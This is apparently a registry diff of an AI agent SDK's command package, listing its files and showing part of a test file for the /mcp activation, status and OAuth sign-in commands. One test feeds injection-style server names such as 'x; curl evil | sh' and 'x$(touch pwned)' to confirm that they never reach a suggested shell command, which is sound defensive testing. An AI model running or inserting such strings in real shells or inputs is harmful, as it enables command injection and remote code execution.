@robota-sdk/agent-command 3.0.0-beta.100
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +1351 -0
- package/LICENSE +661 -0
- package/README.md +100 -0
- package/dist/node/index.cjs +121 -0
- package/dist/node/index.d.cts +1053 -0
- package/dist/node/index.d.cts.map +1 -0
- package/dist/node/index.d.ts +1053 -0
- package/dist/node/index.d.ts.map +1 -0
- package/dist/node/index.js +122 -0
- package/dist/node/index.js.map +1 -0
- package/package.json +83 -0
- package/src/advisor/advisor-command-module.ts +47 -0
- package/src/advisor/advisor-command.test.ts +102 -0
- package/src/advisor/advisor-command.ts +55 -0
- package/src/advisor/advisor-cost-functional.test.ts +92 -0
- package/src/advisor/index.ts +6 -0
- package/src/agent/__tests__/agent-command.test.ts +597 -0
- package/src/agent/agent-command-module.ts +89 -0
- package/src/agent/agent-command-parser.ts +180 -0
- package/src/agent/agent-command.ts +255 -0
- package/src/agent/index.ts +7 -0
- package/src/background/__tests__/background-command-module.test.ts +261 -0
- package/src/background/background-command-module.ts +52 -0
- package/src/background/background-command.ts +65 -0
- package/src/background/index.ts +6 -0
- package/src/command-module-utils.test.ts +37 -0
- package/src/command-module-utils.ts +35 -0
- package/src/compact/__tests__/compact-command-module.test.ts +181 -0
- package/src/compact/compact-command-module.ts +59 -0
- package/src/compact/compact-command.ts +33 -0
- package/src/compact/index.ts +6 -0
- package/src/context/__tests__/context-command-module.test.ts +502 -0
- package/src/context/auto-compact-format.ts +25 -0
- package/src/context/context-breakdown.ts +295 -0
- package/src/context/context-command-module.ts +82 -0
- package/src/context/context-command.ts +291 -0
- package/src/context/index.ts +6 -0
- package/src/default/__tests__/__snapshots__/model-exposure.test.ts.snap +121 -0
- package/src/default/__tests__/default-command-modules.test.ts +192 -0
- package/src/default/__tests__/model-exposure.test.ts +269 -0
- package/src/default/__tests__/org-policy-forwarding.test.ts +106 -0
- package/src/default/__tests__/provider-environment-forwarding.test.ts +98 -0
- package/src/default/default-command-modules.ts +247 -0
- package/src/default/index.ts +5 -0
- package/src/devices/__tests__/devices-command-module.test.ts +299 -0
- package/src/devices/devices-command-module.ts +308 -0
- package/src/devices/devices-command-port.ts +143 -0
- package/src/devices/index.ts +14 -0
- package/src/doctor/__tests__/doctor-command-module.test.ts +145 -0
- package/src/doctor/__tests__/doctor-display-vocabulary.test.ts +38 -0
- package/src/doctor/__tests__/doctor-fixture.ts +146 -0
- package/src/doctor/__tests__/doctor-redaction.test.ts +29 -0
- package/src/doctor/__tests__/doctor-runner.test.ts +484 -0
- package/src/doctor/doctor-command-module.ts +132 -0
- package/src/doctor/doctor-extensions-probe.ts +323 -0
- package/src/doctor/doctor-node-deps.ts +88 -0
- package/src/doctor/doctor-redaction.ts +99 -0
- package/src/doctor/doctor-render.ts +70 -0
- package/src/doctor/doctor-repair.ts +136 -0
- package/src/doctor/doctor-runner.ts +122 -0
- package/src/doctor/doctor-settings-probe.ts +239 -0
- package/src/doctor/doctor-storage-probe.ts +187 -0
- package/src/doctor/doctor-types.ts +109 -0
- package/src/doctor/index.ts +32 -0
- package/src/editor/__tests__/editor-command-functional.test.ts +124 -0
- package/src/editor/editor-command-module.ts +53 -0
- package/src/editor/editor-command.ts +58 -0
- package/src/editor/index.ts +7 -0
- package/src/editor/resolve-editor.ts +21 -0
- package/src/effort/effort-command-module.ts +51 -0
- package/src/effort/effort-command.test.ts +203 -0
- package/src/effort/effort-command.ts +136 -0
- package/src/effort/index.ts +6 -0
- package/src/events/__tests__/events-command.test.ts +73 -0
- package/src/events/events-command-module.ts +49 -0
- package/src/events/events-command.ts +69 -0
- package/src/events/index.ts +2 -0
- package/src/exit/__tests__/exit-command-module.test.ts +61 -0
- package/src/exit/exit-command-module.ts +47 -0
- package/src/exit/exit-command.ts +26 -0
- package/src/exit/index.ts +6 -0
- package/src/fork/__tests__/fork-command.test.ts +184 -0
- package/src/fork/fork-command-module.ts +61 -0
- package/src/fork/fork-command.ts +162 -0
- package/src/fork/index.ts +8 -0
- package/src/git/__tests__/fake-git-port.ts +35 -0
- package/src/git/__tests__/git-command-module.test.ts +111 -0
- package/src/git/__tests__/git-commit.test.ts +185 -0
- package/src/git/git-command-module.ts +138 -0
- package/src/git/git-commit.ts +254 -0
- package/src/git/index.ts +20 -0
- package/src/goal/__tests__/goal-command.test.ts +80 -0
- package/src/goal/goal-command-module.ts +49 -0
- package/src/goal/goal-command.ts +69 -0
- package/src/goal/index.ts +6 -0
- package/src/handoff/__tests__/handoff-command-module.test.ts +25 -0
- package/src/handoff/__tests__/handoff-command.test.ts +218 -0
- package/src/handoff/handoff-command-module.ts +49 -0
- package/src/handoff/handoff-command.ts +187 -0
- package/src/handoff/index.ts +6 -0
- package/src/help/__tests__/help-command-module.test.ts +134 -0
- package/src/help/__tests__/help-command.test.ts +130 -0
- package/src/help/help-command-module.ts +47 -0
- package/src/help/help-command.ts +11 -0
- package/src/help/index.ts +6 -0
- package/src/index.ts +163 -0
- package/src/keybindings/__tests__/keybindings-command-module.test.ts +57 -0
- package/src/keybindings/index.ts +6 -0
- package/src/keybindings/keybindings-command-module.ts +88 -0
- package/src/language/__tests__/language-command-module.test.ts +126 -0
- package/src/language/index.ts +6 -0
- package/src/language/language-command-module.ts +55 -0
- package/src/language/language-command.ts +52 -0
- package/src/mcp-activation/__tests__/mcp-activation-command.test.ts +895 -0
- package/src/mcp-activation/__tests__/mcp-model-view.test.ts +242 -0
- package/src/mcp-activation/__tests__/mcp-skill-command.test.ts +141 -0
- package/src/mcp-activation/index.ts +12 -0
- package/src/mcp-activation/mcp-activation-command-module.ts +123 -0
- package/src/mcp-activation/mcp-activation-command.ts +662 -0
- package/src/mcp-activation/mcp-model-notice.ts +99 -0
- package/src/mcp-activation/mcp-model-status.ts +104 -0
- package/src/memory/__tests__/memory-command-module.test.ts +476 -0
- package/src/memory/__tests__/memory-command-unavailable.test.ts +63 -0
- package/src/memory/index.ts +6 -0
- package/src/memory/memory-command-module.ts +77 -0
- package/src/memory/memory-command.ts +326 -0
- package/src/mode/__tests__/mode-command-module.test.ts +230 -0
- package/src/mode/index.ts +6 -0
- package/src/mode/mode-command-module.ts +55 -0
- package/src/mode/mode-command.ts +67 -0
- package/src/model/__tests__/model-command-module.test.ts +80 -0
- package/src/model/__tests__/model-command.test.ts +265 -0
- package/src/model/index.ts +6 -0
- package/src/model/model-command-module.ts +56 -0
- package/src/model/model-command.ts +249 -0
- package/src/output-style/__tests__/output-style-command.test.ts +96 -0
- package/src/output-style/index.ts +6 -0
- package/src/output-style/output-style-command-module.ts +143 -0
- package/src/peers/__tests__/peers-command-module.test.ts +24 -0
- package/src/peers/__tests__/peers-command.test.ts +399 -0
- package/src/peers/index.ts +9 -0
- package/src/peers/peers-command-module.ts +49 -0
- package/src/peers/peers-command.ts +220 -0
- package/src/permissions/__tests__/permissions-command-module.test.ts +276 -0
- package/src/permissions/index.ts +6 -0
- package/src/permissions/permissions-command-module.ts +55 -0
- package/src/permissions/permissions-command.ts +89 -0
- package/src/plan/__tests__/plan-command.test.ts +129 -0
- package/src/plan/index.ts +9 -0
- package/src/plan/plan-command-module.ts +49 -0
- package/src/plan/plan-command.ts +92 -0
- package/src/plugin/__tests__/plugin-active-turn.test.ts +100 -0
- package/src/plugin/__tests__/plugin-command-module.test.ts +300 -0
- package/src/plugin/__tests__/plugin-host-boundary.test.ts +11 -0
- package/src/plugin/index.ts +7 -0
- package/src/plugin/plugin-command-module.ts +85 -0
- package/src/plugin/plugin-command.ts +271 -0
- package/src/preset/__tests__/host-supplied-preset-registry.test.ts +98 -0
- package/src/preset/__tests__/preset-command-module.test.ts +220 -0
- package/src/preset/index.ts +6 -0
- package/src/preset/preset-command-module.ts +80 -0
- package/src/preset/preset-command.ts +148 -0
- package/src/provider/__tests__/optional-provider-credentials.test.ts +130 -0
- package/src/provider/__tests__/org-policy.test.ts +174 -0
- package/src/provider/__tests__/provider-command-module.test.ts +884 -0
- package/src/provider/__tests__/provider-connection-setup.test.ts +567 -0
- package/src/provider/__tests__/provider-reference-switch.test.ts +113 -0
- package/src/provider/__tests__/provider-setup-flow.test.ts +244 -0
- package/src/provider/__tests__/provider-startup-host-settings.test.ts +16 -0
- package/src/provider/__tests__/scripted-interaction.ts +40 -0
- package/src/provider/index.ts +32 -0
- package/src/provider/provider-command-execution.ts +235 -0
- package/src/provider/provider-command-module.ts +82 -0
- package/src/provider/provider-command-profile-lifecycle.ts +239 -0
- package/src/provider/provider-command-profile-operations.ts +218 -0
- package/src/provider/provider-command-profile.ts +116 -0
- package/src/provider/provider-command-setup.ts +79 -0
- package/src/provider/provider-connection-setup.ts +287 -0
- package/src/provider/provider-connection-validation.ts +38 -0
- package/src/provider/provider-onboarding.ts +73 -0
- package/src/provider/provider-prompt-interaction.ts +28 -0
- package/src/provider/provider-setup-ask.ts +67 -0
- package/src/provider/provider-setup-flow.ts +326 -0
- package/src/provider/provider-startup.ts +225 -0
- package/src/remote-control/__tests__/remote-control-command-module.test.ts +36 -0
- package/src/remote-control/__tests__/remote-control-command.test.ts +216 -0
- package/src/remote-control/index.ts +8 -0
- package/src/remote-control/remote-control-command-module.ts +61 -0
- package/src/remote-control/remote-control-command.ts +138 -0
- package/src/reset/__tests__/reset-command-module.test.ts +63 -0
- package/src/reset/index.ts +2 -0
- package/src/reset/reset-command-module.ts +47 -0
- package/src/reset/reset-command.ts +10 -0
- package/src/rewind/__tests__/rewind-command-module.test.ts +287 -0
- package/src/rewind/index.ts +2 -0
- package/src/rewind/rewind-command-module.ts +56 -0
- package/src/rewind/rewind-command.ts +279 -0
- package/src/sandbox/__tests__/sandbox-command.test.ts +80 -0
- package/src/sandbox/index.ts +2 -0
- package/src/sandbox/sandbox-command-module.ts +56 -0
- package/src/sandbox/sandbox-command.ts +94 -0
- package/src/schedule/__tests__/loop-command-functional.test.ts +399 -0
- package/src/schedule/__tests__/loop-command.test.ts +594 -0
- package/src/schedule/__tests__/loop-jitter.test.ts +25 -0
- package/src/schedule/__tests__/monitor-model-permission-functional.test.ts +126 -0
- package/src/schedule/__tests__/schedule-command.test.ts +247 -0
- package/src/schedule/__tests__/schedule-redos.test.ts +114 -0
- package/src/schedule/index.ts +12 -0
- package/src/schedule/loop-command.ts +427 -0
- package/src/schedule/loop-jitter.ts +41 -0
- package/src/schedule/schedule-command-module.ts +184 -0
- package/src/schedule/schedule-command.ts +161 -0
- package/src/schedule/schedule-spec-parser.ts +70 -0
- package/src/session/__tests__/model-pricing.test.ts +66 -0
- package/src/session/__tests__/rename-host-persistence.test.ts +72 -0
- package/src/session/__tests__/session-command-module.test.ts +589 -0
- package/src/session/index.ts +17 -0
- package/src/session/model-pricing.ts +26 -0
- package/src/session/session-command-module.ts +197 -0
- package/src/session/session-command.ts +272 -0
- package/src/settings/index.ts +7 -0
- package/src/settings/settings-command-module.ts +47 -0
- package/src/shell/__tests__/resolve-shell-host.test.ts +11 -0
- package/src/shell/__tests__/shell-command-functional.test.ts +118 -0
- package/src/shell/index.ts +8 -0
- package/src/shell/resolve-shell.ts +25 -0
- package/src/shell/shell-command-module.ts +53 -0
- package/src/shell/shell-command.ts +48 -0
- package/src/shell/spawn-inherited.ts +32 -0
- package/src/skills/__tests__/skill-read-command.test.ts +64 -0
- package/src/skills/__tests__/skills-command-module.test.ts +200 -0
- package/src/skills/index.ts +7 -0
- package/src/skills/skill-read-command.ts +60 -0
- package/src/skills/skills-command-module.ts +76 -0
- package/src/skills/skills-command.ts +108 -0
- package/src/statusline/__tests__/statusline-command-module.test.ts +96 -0
- package/src/statusline/index.ts +6 -0
- package/src/statusline/statusline-command-module.ts +55 -0
- package/src/statusline/statusline-command.ts +80 -0
- package/src/terminal-client/__tests__/terminal-client-commands.test.ts +216 -0
- package/src/terminal-client/index.ts +5 -0
- package/src/terminal-client/terminal-client-commands.ts +109 -0
- package/src/theme/__tests__/theme-command.test.ts +204 -0
- package/src/theme/index.ts +12 -0
- package/src/theme/theme-command-module.ts +221 -0
- package/src/user-local/__tests__/user-local-command.test.ts +180 -0
- package/src/user-local/index.ts +13 -0
- package/src/user-local/user-local-command-constants.ts +5 -0
- package/src/user-local/user-local-command-module.ts +65 -0
- package/src/user-local/user-local-command.ts +214 -0
- package/src/user-local/user-local-memory-command.ts +160 -0
|
@@ -0,0 +1,895 @@
|
|
|
1
|
+
import { describe, expect, it, vi } from 'vitest';
|
|
2
|
+
|
|
3
|
+
import { createTestCommandHost } from '@robota-sdk/agent-framework/testing';
|
|
4
|
+
|
|
5
|
+
import { FunctionTool } from '@robota-sdk/agent-core';
|
|
6
|
+
|
|
7
|
+
import { executeMCPActivationCommand } from '../mcp-activation-command.js';
|
|
8
|
+
import { createMCPActivationCommandEntry } from '../mcp-activation-command-module.js';
|
|
9
|
+
|
|
10
|
+
import type {
|
|
11
|
+
ICommandMCPActivationAdapter,
|
|
12
|
+
ICommandMCPActivationSummary,
|
|
13
|
+
ICommandMCPOAuthLoginRequest,
|
|
14
|
+
ICommandMCPOAuthLoginResult,
|
|
15
|
+
} from '@robota-sdk/agent-framework';
|
|
16
|
+
import type {
|
|
17
|
+
IActionRequest,
|
|
18
|
+
IToolWithEventService,
|
|
19
|
+
TActionResponse,
|
|
20
|
+
} from '@robota-sdk/agent-core';
|
|
21
|
+
|
|
22
|
+
function summary(
|
|
23
|
+
overrides: Partial<ICommandMCPActivationSummary> = {},
|
|
24
|
+
): ICommandMCPActivationSummary {
|
|
25
|
+
return {
|
|
26
|
+
serverId: 'server-1',
|
|
27
|
+
displayName: 'Example server',
|
|
28
|
+
source: 'project',
|
|
29
|
+
status: 'pending',
|
|
30
|
+
allowed: false,
|
|
31
|
+
reason: 'Approval required.',
|
|
32
|
+
provenanceId: 'project-settings',
|
|
33
|
+
definitionFingerprint: 'definition-v1',
|
|
34
|
+
securityIdentity: 'identity-v1',
|
|
35
|
+
...overrides,
|
|
36
|
+
};
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function context(adapter?: ICommandMCPActivationAdapter) {
|
|
40
|
+
return createTestCommandHost({
|
|
41
|
+
overrides: { getCommandHostAdapters: () => (adapter ? { mcpActivation: adapter } : {}) },
|
|
42
|
+
});
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
describe('executeMCPActivationCommand', () => {
|
|
46
|
+
it('lists status without invoking an activation operation', async () => {
|
|
47
|
+
let operations = 0;
|
|
48
|
+
const entry = summary();
|
|
49
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
50
|
+
list: () => [entry],
|
|
51
|
+
approve: async () => {
|
|
52
|
+
operations++;
|
|
53
|
+
return entry;
|
|
54
|
+
},
|
|
55
|
+
reject: async () => entry,
|
|
56
|
+
revoke: async () => entry,
|
|
57
|
+
};
|
|
58
|
+
|
|
59
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
60
|
+
|
|
61
|
+
expect(result.success).toBe(true);
|
|
62
|
+
expect(result.message).toContain('pending');
|
|
63
|
+
expect(result.message).toContain('server-1');
|
|
64
|
+
expect(operations).toBe(0);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
it('routes approve/reject/revoke to the host adapter and preserves the exact id', async () => {
|
|
68
|
+
const calls: string[] = [];
|
|
69
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
70
|
+
list: () => [],
|
|
71
|
+
approve: (id) => {
|
|
72
|
+
calls.push(`approve:${id}`);
|
|
73
|
+
return summary({ status: 'approved', allowed: true, reason: 'Approved.' });
|
|
74
|
+
},
|
|
75
|
+
reject: (id) => {
|
|
76
|
+
calls.push(`reject:${id}`);
|
|
77
|
+
return summary({ status: 'rejected', reason: 'Rejected.' });
|
|
78
|
+
},
|
|
79
|
+
revoke: (id) => {
|
|
80
|
+
calls.push(`revoke:${id}`);
|
|
81
|
+
return summary({ status: 'revoked', reason: 'Revoked.' });
|
|
82
|
+
},
|
|
83
|
+
};
|
|
84
|
+
|
|
85
|
+
expect((await executeMCPActivationCommand(context(adapter), 'approve Server-A')).success).toBe(
|
|
86
|
+
true,
|
|
87
|
+
);
|
|
88
|
+
expect((await executeMCPActivationCommand(context(adapter), 'reject Server-A')).success).toBe(
|
|
89
|
+
true,
|
|
90
|
+
);
|
|
91
|
+
expect((await executeMCPActivationCommand(context(adapter), 'revoke Server-A')).success).toBe(
|
|
92
|
+
true,
|
|
93
|
+
);
|
|
94
|
+
expect(calls).toEqual(['approve:Server-A', 'reject:Server-A', 'revoke:Server-A']);
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
it('does not guess an id and never activates when the adapter is absent', async () => {
|
|
98
|
+
expect((await executeMCPActivationCommand(context(), '')).success).toBe(true);
|
|
99
|
+
expect((await executeMCPActivationCommand(context(), 'approve')).success).toBe(false);
|
|
100
|
+
expect((await executeMCPActivationCommand(context(), 'approve server-1')).message).toMatch(
|
|
101
|
+
/not available/i,
|
|
102
|
+
);
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
// BEHAVIOR-2794 (issue #2794 / #3073): a source-level problem (an unreadable managed policy, a
|
|
106
|
+
// config root that is not an object, no `mcpServers`) names no server, so it never appears in
|
|
107
|
+
// `list()`. Before `sourceProblems()` existed on the adapter, `/mcp status` had no way to say an
|
|
108
|
+
// entire source could not be read — it just said nothing beyond whatever DID resolve.
|
|
109
|
+
it('states which source could not be read, beside the servers that did resolve', async () => {
|
|
110
|
+
const entry = summary();
|
|
111
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
112
|
+
list: () => [entry],
|
|
113
|
+
sourceProblems: () => [
|
|
114
|
+
{
|
|
115
|
+
source: 'managed',
|
|
116
|
+
origin: 'policy.json',
|
|
117
|
+
reason: 'the configuration root is not an object',
|
|
118
|
+
},
|
|
119
|
+
],
|
|
120
|
+
approve: async () => entry,
|
|
121
|
+
reject: async () => entry,
|
|
122
|
+
revoke: async () => entry,
|
|
123
|
+
};
|
|
124
|
+
|
|
125
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
126
|
+
|
|
127
|
+
expect(result.success).toBe(true);
|
|
128
|
+
// The resolved server is still reported...
|
|
129
|
+
expect(result.message).toContain('server-1');
|
|
130
|
+
// ...beside the source that could not be read at all.
|
|
131
|
+
expect(result.message).toContain('managed');
|
|
132
|
+
expect(result.message).toContain('policy.json');
|
|
133
|
+
expect(result.message).toContain('the configuration root is not an object');
|
|
134
|
+
expect(result.data).toMatchObject({
|
|
135
|
+
sourceProblems: [
|
|
136
|
+
{
|
|
137
|
+
source: 'managed',
|
|
138
|
+
origin: 'policy.json',
|
|
139
|
+
reason: 'the configuration root is not an object',
|
|
140
|
+
},
|
|
141
|
+
],
|
|
142
|
+
});
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
// PR #3076 re-review: a managed-tier source problem also blocks every lower-tier server that would
|
|
146
|
+
// otherwise have resolved (`agent-mcp`'s `resolveByPrecedence`) — those names never appear in
|
|
147
|
+
// `list()` (an `unresolved` entry is never an activation candidate), so this line is the ONLY place
|
|
148
|
+
// `/mcp status` can say a lower-tier server exists at all and why it is not active.
|
|
149
|
+
it('states that lower-tier servers are blocked, listing their names, for a managed source problem', async () => {
|
|
150
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
151
|
+
list: () => [],
|
|
152
|
+
sourceProblems: () => [
|
|
153
|
+
{
|
|
154
|
+
source: 'managed',
|
|
155
|
+
origin: 'policy.json',
|
|
156
|
+
reason: 'the configuration root is not an object',
|
|
157
|
+
blockedServerNames: ['weather', 'search'],
|
|
158
|
+
},
|
|
159
|
+
],
|
|
160
|
+
approve: async () => summary(),
|
|
161
|
+
reject: async () => summary(),
|
|
162
|
+
revoke: async () => summary(),
|
|
163
|
+
};
|
|
164
|
+
|
|
165
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
166
|
+
|
|
167
|
+
expect(result.success).toBe(true);
|
|
168
|
+
expect(result.message).toContain('managed');
|
|
169
|
+
expect(result.message).toContain('policy.json');
|
|
170
|
+
expect(result.message).toMatch(/blocked/i);
|
|
171
|
+
expect(result.message).toContain('weather');
|
|
172
|
+
expect(result.message).toContain('search');
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
it('says nothing extra about blocking for a source problem with no blocked servers', async () => {
|
|
176
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
177
|
+
list: () => [],
|
|
178
|
+
sourceProblems: () => [
|
|
179
|
+
{ source: 'user', origin: 'settings.json', reason: '`mcpServers` is not an object' },
|
|
180
|
+
],
|
|
181
|
+
approve: async () => summary(),
|
|
182
|
+
reject: async () => summary(),
|
|
183
|
+
revoke: async () => summary(),
|
|
184
|
+
};
|
|
185
|
+
|
|
186
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
187
|
+
|
|
188
|
+
expect(result.success).toBe(true);
|
|
189
|
+
expect(result.message).not.toMatch(/blocked/i);
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
it('reports a source problem even when nothing resolved at all', async () => {
|
|
193
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
194
|
+
list: () => [],
|
|
195
|
+
sourceProblems: () => [
|
|
196
|
+
{ source: 'managed', origin: 'policy.json', reason: 'no `mcpServers` key' },
|
|
197
|
+
],
|
|
198
|
+
approve: async () => summary(),
|
|
199
|
+
reject: async () => summary(),
|
|
200
|
+
revoke: async () => summary(),
|
|
201
|
+
};
|
|
202
|
+
|
|
203
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
204
|
+
|
|
205
|
+
expect(result.success).toBe(true);
|
|
206
|
+
expect(result.message).not.toMatch(/no mcp definitions are registered/i);
|
|
207
|
+
expect(result.message).toContain('managed');
|
|
208
|
+
expect(result.message).toContain('policy.json');
|
|
209
|
+
});
|
|
210
|
+
|
|
211
|
+
it('treats a missing sourceProblems() the same as none, for an older adapter', async () => {
|
|
212
|
+
const entry = summary();
|
|
213
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
214
|
+
list: () => [entry],
|
|
215
|
+
approve: async () => entry,
|
|
216
|
+
reject: async () => entry,
|
|
217
|
+
revoke: async () => entry,
|
|
218
|
+
};
|
|
219
|
+
|
|
220
|
+
const result = await executeMCPActivationCommand(context(adapter), 'status');
|
|
221
|
+
|
|
222
|
+
expect(result.success).toBe(true);
|
|
223
|
+
expect(result.message).toContain('server-1');
|
|
224
|
+
});
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
describe('/mcp and OAuth sign-in', () => {
|
|
228
|
+
function oauthAdapter(): ICommandMCPActivationAdapter & { loggedOut: string[] } {
|
|
229
|
+
const loggedOut: string[] = [];
|
|
230
|
+
return {
|
|
231
|
+
loggedOut,
|
|
232
|
+
list: () => [
|
|
233
|
+
summary({ serverId: 'files', status: 'approved', allowed: true }),
|
|
234
|
+
summary({ serverId: 'plain', status: 'approved', allowed: true }),
|
|
235
|
+
],
|
|
236
|
+
approve: async () => summary(),
|
|
237
|
+
reject: async () => summary(),
|
|
238
|
+
revoke: async () => summary(),
|
|
239
|
+
oauthStatus: async () => [{ serverId: 'files', state: 'expired-refreshable' }],
|
|
240
|
+
oauthLogout: async (serverId) => {
|
|
241
|
+
loggedOut.push(serverId);
|
|
242
|
+
return {
|
|
243
|
+
serverId,
|
|
244
|
+
removed: true,
|
|
245
|
+
revocation: 'failed',
|
|
246
|
+
revocationFailure: 'revocation-failed',
|
|
247
|
+
};
|
|
248
|
+
},
|
|
249
|
+
};
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
it('shows each OAuth server sign-in state as a fixed word, and nothing for the rest', async () => {
|
|
253
|
+
const result = await executeMCPActivationCommand(context(oauthAdapter()), 'status');
|
|
254
|
+
const lines = result.message.split('\n');
|
|
255
|
+
expect(lines.find((line) => line.includes('files'))).toMatch(
|
|
256
|
+
/OAuth: token expired, will refresh$/,
|
|
257
|
+
);
|
|
258
|
+
expect(lines.find((line) => line.includes('plain'))).not.toContain('OAuth');
|
|
259
|
+
const servers = (result.data as { servers: Record<string, unknown>[] }).servers;
|
|
260
|
+
expect(servers[0]).toMatchObject({ serverId: 'files', oauth: 'expired-refreshable' });
|
|
261
|
+
expect(servers[1]).not.toHaveProperty('oauth');
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
it('signs out through the port and reports revocation by reason only', async () => {
|
|
265
|
+
const adapter = oauthAdapter();
|
|
266
|
+
const result = await executeMCPActivationCommand(context(adapter), 'logout files');
|
|
267
|
+
expect(adapter.loggedOut).toEqual(['files']);
|
|
268
|
+
expect(result.success).toBe(true);
|
|
269
|
+
expect(result.message).toBe(
|
|
270
|
+
'Signed out of MCP server files; token revocation failed (revocation-failed); ' +
|
|
271
|
+
'the tokens stay valid until they expire.',
|
|
272
|
+
);
|
|
273
|
+
});
|
|
274
|
+
|
|
275
|
+
it('says which token was revoked when only one was', async () => {
|
|
276
|
+
const adapter: ICommandMCPActivationAdapter = {
|
|
277
|
+
...oauthAdapter(),
|
|
278
|
+
oauthLogout: async (serverId) => ({
|
|
279
|
+
serverId,
|
|
280
|
+
removed: true,
|
|
281
|
+
revocation: 'partial',
|
|
282
|
+
revocationFailure: 'token-type-not-revocable',
|
|
283
|
+
tokens: [
|
|
284
|
+
{ token: 'refresh_token', revoked: true },
|
|
285
|
+
{ token: 'access_token', revoked: false, failure: 'token-type-not-revocable' },
|
|
286
|
+
],
|
|
287
|
+
}),
|
|
288
|
+
};
|
|
289
|
+
const result = await executeMCPActivationCommand(context(adapter), 'logout files');
|
|
290
|
+
expect(result.message).toBe(
|
|
291
|
+
'Signed out of MCP server files; the refresh token was revoked; the access token was not ' +
|
|
292
|
+
'(token-type-not-revocable) and stays valid until it expires.',
|
|
293
|
+
);
|
|
294
|
+
});
|
|
295
|
+
|
|
296
|
+
it('refuses to sign out of a server that does not declare OAuth', async () => {
|
|
297
|
+
const adapter = oauthAdapter();
|
|
298
|
+
const result = await executeMCPActivationCommand(context(adapter), 'logout plain');
|
|
299
|
+
expect(result.success).toBe(false);
|
|
300
|
+
expect(adapter.loggedOut).toEqual([]);
|
|
301
|
+
});
|
|
302
|
+
|
|
303
|
+
function withServer(serverId: string): ICommandMCPActivationAdapter {
|
|
304
|
+
return {
|
|
305
|
+
...oauthAdapter(),
|
|
306
|
+
list: () => [summary({ serverId, status: 'approved', allowed: true })],
|
|
307
|
+
oauthStatus: async () => [{ serverId, state: 'sign-in-required' }],
|
|
308
|
+
};
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
it('points a server that needs a sign-in at the session command and the terminal one', async () => {
|
|
312
|
+
const result = await executeMCPActivationCommand(context(withServer('files')), 'status');
|
|
313
|
+
expect(result.message).toContain(
|
|
314
|
+
'OAuth: sign-in required (run /mcp login files, or sign in from a terminal)',
|
|
315
|
+
);
|
|
316
|
+
});
|
|
317
|
+
|
|
318
|
+
it.each([
|
|
319
|
+
['a command separator', 'x; curl evil | sh'],
|
|
320
|
+
['a command substitution', 'x$(touch pwned)'],
|
|
321
|
+
['backticks', 'x`touch pwned`'],
|
|
322
|
+
['a backslash-quote', "\\';touch pwned;#"],
|
|
323
|
+
['a leading dash', '-rf'],
|
|
324
|
+
['a leading equals sign', '=cmd'],
|
|
325
|
+
['a newline', 'x\nfixture-agent mcp login good'],
|
|
326
|
+
['an escape sequence', 'x\u001b[2Kgood'],
|
|
327
|
+
['a right-to-left override', 'xgood'],
|
|
328
|
+
])('never puts a name with %s into the sign-in command', async (_what, name) => {
|
|
329
|
+
const result = await executeMCPActivationCommand(context(withServer(name)), 'status');
|
|
330
|
+
const hint = /\(run \/mcp login [^)]*\)/.exec(result.message)?.[0];
|
|
331
|
+
expect(hint).toBe(
|
|
332
|
+
'(run /mcp login <server>, or sign in from a terminal; ' +
|
|
333
|
+
'its name cannot be shown safely here)',
|
|
334
|
+
);
|
|
335
|
+
});
|
|
336
|
+
|
|
337
|
+
it('a sign-out needs a server', async () => {
|
|
338
|
+
const logout = await executeMCPActivationCommand(context(oauthAdapter()), 'logout');
|
|
339
|
+
expect(logout.success).toBe(false);
|
|
340
|
+
expect(logout.message).toBe('Usage: /mcp logout <serverId>');
|
|
341
|
+
});
|
|
342
|
+
});
|
|
343
|
+
|
|
344
|
+
describe('/mcp login', () => {
|
|
345
|
+
interface ILoginHarness {
|
|
346
|
+
readonly requests: ICommandMCPOAuthLoginRequest[];
|
|
347
|
+
readonly added: IToolWithEventService[][];
|
|
348
|
+
readonly asked: IActionRequest[];
|
|
349
|
+
readonly acknowledged: [string, readonly string[]][];
|
|
350
|
+
run(args: string): ReturnType<typeof executeMCPActivationCommand>;
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
const forecast = new FunctionTool(
|
|
354
|
+
{ name: 'files__read', description: 'Read', parameters: { type: 'object', properties: {} } },
|
|
355
|
+
async () => 'ok',
|
|
356
|
+
);
|
|
357
|
+
|
|
358
|
+
function harness(
|
|
359
|
+
login: (request: ICommandMCPOAuthLoginRequest) => Promise<ICommandMCPOAuthLoginResult>,
|
|
360
|
+
answer?: TActionResponse | ((request: IActionRequest) => TActionResponse),
|
|
361
|
+
taken: (names: string[]) => string[] = (names) => names,
|
|
362
|
+
): ILoginHarness {
|
|
363
|
+
const requests: ICommandMCPOAuthLoginRequest[] = [];
|
|
364
|
+
const added: IToolWithEventService[][] = [];
|
|
365
|
+
const asked: IActionRequest[] = [];
|
|
366
|
+
const acknowledged: [string, readonly string[]][] = [];
|
|
367
|
+
const port: ICommandMCPActivationAdapter = {
|
|
368
|
+
list: () => [],
|
|
369
|
+
approve: async () => summary(),
|
|
370
|
+
reject: async () => summary(),
|
|
371
|
+
